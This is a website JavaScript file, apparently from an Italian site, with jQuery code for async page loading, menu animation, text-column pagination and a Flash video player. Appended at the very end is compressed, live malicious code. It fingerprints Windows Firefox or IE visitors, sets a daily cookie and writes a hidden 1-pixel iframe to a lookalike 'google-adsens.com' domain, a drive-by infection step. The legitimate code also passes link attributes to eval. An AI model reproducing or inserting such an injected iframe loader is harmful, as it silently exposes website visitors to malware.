var closeMenu = 1;
var int;
var overmenu;

var closeMenuFunc = function(){
	if(!closeMenu){
		numAnim = $('div.menuBlocco li a').size()-1;
		c = 0;
		$('div.menuBlocco li a').each(function(i){
			if(i==numAnim){
				setTimeout(function(){$('div.menuBlocco').animate( { left: "-96px"},300,"easeout")},c+100);
			}
			var obj = $(this);
			setTimeout(function(){obj.animate({ top: "-99px"},500,"easeout")},c);//bouncein
			c += 100;
		});
		closeMenu=1;
	}
};


function setMenu ( $mode ) {
	var InternetExplorer = navigator.appName.indexOf("Microsoft") != -1;
	var menu = InternetExplorer ? window.menu : window.document.menu; 
	if ( menu != null ) { 
		switch ( $mode ) {
			case "home":
				menu.SetVariable ( "sel", -1 );
				menu.SetVariable ( "sel_old", -1 );
			break;
			default:
				menu.SetVariable ( "sel", 3 );					
				menu.SetVariable ( "sel_old", 3 );
			break;
		}
	}
} 

function linkActivate(){
	$('a.linkAsync').each(function(){
		$(this).bind('click',function(e){			
			e.preventDefault();
			lnk = $(this).attr('href');
			func = $(this).attr('rel');
			if(func){
				loadPage(lnk,false,func);
			} else {
				loadPage(lnk);
			}
		});
	});
}

function linkActivateMain(){
	$('a.linkAsync', '#main').each(function(){
		$(this).bind('click',function(e){			
			e.preventDefault();
			lnk = $(this).attr('href');
			func = $(this).attr('rel');
			if(func){
				loadPage(lnk, false, func);
			} else {
				loadPage(lnk);
			}
		});
	});
}

function loadPage(lnk, id, func){
	if(lnk!='#'){
	    $('#main').append('<div id="loaderMain"><p><strong>LOADING ...</strong></p></div>');
		antiCache = (new Date().getTime());	
		if(lnk == '/'){
			$('#main').load(lnk + 'home/index/TRUE/'+antiCache, function(){
				linkActivateMain();
				fadeIndex();
				setMenu('base');
			});
		} else if(func){
			$('#main').load(lnk+"/TRUE/"+antiCache, function(){
				linkActivateMain();
				arrFunc = func.split(";");
				for(var k=0;k<arrFunc.length;k++){
					funcName = arrFunc[k];
					if(funcName.indexOf('(')>0 && funcName.indexOf(')')>0){
						eval(funcName);
					} else {
						eval(funcName+"()");
					}			
				}
			});
			setMenu('base');
		} else {
			if(id) lnk = lnk + id
			$('#main').load(lnk+"/TRUE/"+antiCache, function(){
				linkActivateMain();
				setMenu('base');
			});
		}
	}
}

function pager(w){
	var curPage = 1;
	if(w) {
		pageWidth = w;
	} else {
		pageWidth = 760;
	}
	dimWrap = $('#wrapper').width();
	numPage = Math.ceil(dimWrap/pageWidth);
	//$('div.scorrimento_pagine').size();
	for(i=0;i<numPage;i++){
	//$('div.scorrimento_pagine').each(function(i){
		$('#wrapper').append('<div class="scorrimento_pagine"><ul><li><a href="#"><img border="0" title="torna indietro" src="/img/row_indietro.gif"/></a></li><li><span class="curPage"> '+(i+1)+'</span>/<span class="totPage">'+numPage+' </span></li><li><a href="#"><img border="0" title="scorri avanti" src="/img/row_avanti.gif"/></a></li></ul></div>');
		objLink = $('#wrapper div.scorrimento_pagine:last');
		if(i==0){
			objLink.find('li a:eq(0)').hide();
		} else {
			objLink.find('li a:eq(0)').click(function(e){
				e.preventDefault();
				leftWrap = parseInt($('#wrapper').css('left'))+pageWidth; //-5
				$('#wrapper').animate({left:leftWrap + 'px'},700,"easeout");
			});
		}
		if(i==(numPage-1)){
			objLink.find('li a:eq(1)').hide();
		} else {
			objLink.find('li a:eq(1)').click(function(e){
				e.preventDefault();
				leftWrap = parseInt($('#wrapper').css('left'))-pageWidth; //+5
				$('#wrapper').animate({left:leftWrap + 'px'},700,"easeout");
			});
		}
		objLink.css('left',(((i+1)*pageWidth)-70)+'px');
	}
}

function pagerCol(w,x,y){
	var curPage = 1;
	if(w) {
		pageWidth = w;
	} else {
		pageWidth = 760;
	}
	if(x && y){
		numCol = createColumn(x,y);
		dimWrap = numCol * (x+20);
	} else {
		numCol = createColumn(x,y);
		dimWrap = numCol * (260+25);
	}
	$('#wrapper').width(dimWrap);
	numPage = Math.ceil(dimWrap/pageWidth);
	for(i=0;i<numPage;i++){
          $('#wrapper').append('<div class="scorrimento_pagine"><ul><li><a href="#"><img border="0" title="torna indietro" src="/img/row_indietro.gif"/></a></li><li><span class="curPage"> '+(i+1)+'</span>/<span class="totPage">'+numPage+' </span></li><li><a href="#"><img border="0" title="scorri avanti" src="/img/row_avanti.gif"/></a></li></ul></div>');
	}
	//alert(numPage);
	$('div.scorrimento_pagine').each(function(i){
		if(i==0){
			$(this).find('li a').eq(0).hide();
		} else {
			$(this).find('li a').eq(0).click(function(){
				leftWrap = parseInt($('#wrapper').css('left'))+pageWidth;
				$('#wrapper').animate({left:leftWrap + 'px'},700,"easeout");
				return false;
			});
		}
		if(i==(numPage-1)){
			$(this).find('li a').eq(1).hide();
		} else {
			$(this).find('li a').eq(1).click(function(){
				leftWrap = parseInt($('#wrapper').css('left'))-pageWidth;
				$('#wrapper').animate({left:leftWrap + 'px'},700,"easeout");
				return false;
			});
		}
		$(this).css('left',(((i+1)*pageWidth)-70)+'px');
	});
}

function createColumn(x,y){
	var text = $('#divSizer').html();
	$('#divSizer').empty();
	if(x && y){
		arr = Columns.splitText(text, x, y);
	} else {
		arr = Columns.splitText(text, 260, 180);
	}
	numCol = 0;
	$.each(arr,function(i,n){
		$('<div class="tcol">'+arr[i]+'</div>').appendTo("#wrapper");
		numCol++;
	});
	if(x && y){
		$('div.tcol').css('width',x+"px").css('height',y+"px");
	}
	$('#divSizer').empty();
	return numCol;
}

function fotoOperaTrasparente(){
	$('a.immagine_link img').css('opacity',0.5).hover(function(){			
		$(this).css('opacity',1);
		},
		function(){
			$(this).css('opacity',0.5);
	});
}
function fadeIndex(){
	$('#homeSplash').cycle();
}

function videoStart(){
	video = $('#videoName').text();
	var so = new SWFObject('flvplayer.swf','player','330','270','7',"#336699");
	so.addParam("allowfullscreen","true");
	so.addVariable("file","BOM/allegati/download/"+video);
	so.write('player');
}



$(document).ready(function(){
	// Menu
	/*
	$('a.menuBase').hover(function(){
		overmenu = true;
		if(closeMenu){
			$('div.menuBlocco').animate( { left: "24px"},300,"easeout",function(){
				c = 0;
				$('div.menuBlocco li a').each(function(i){
					var obj = $(this);
					setTimeout(function(){obj.animate({ top: "0px"},500,"easeout")},c);//bounceout
					c += 100;
				});
			});
			closeMenu=0;
		}
	},function(){
		//clearTimeout(overmenu);
		overmenu = setTimeout("closeMenuFunc()",500);
	});
	
	$('ul.menuVoci').hover(function(){
			clearTimeout(overmenu);
		},
		function(){
			//clearTimeout(overmenu);
			overmenu = setTimeout("closeMenuFunc()",500);
	});
	
	
	$('a.menuBase').click(function(e){
		e.preventDefault();		
	});
	*/
	// Link
	linkActivate();
	
	// Home splash
	if($('#homeSplash').size()>0) fadeIndex();
});var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
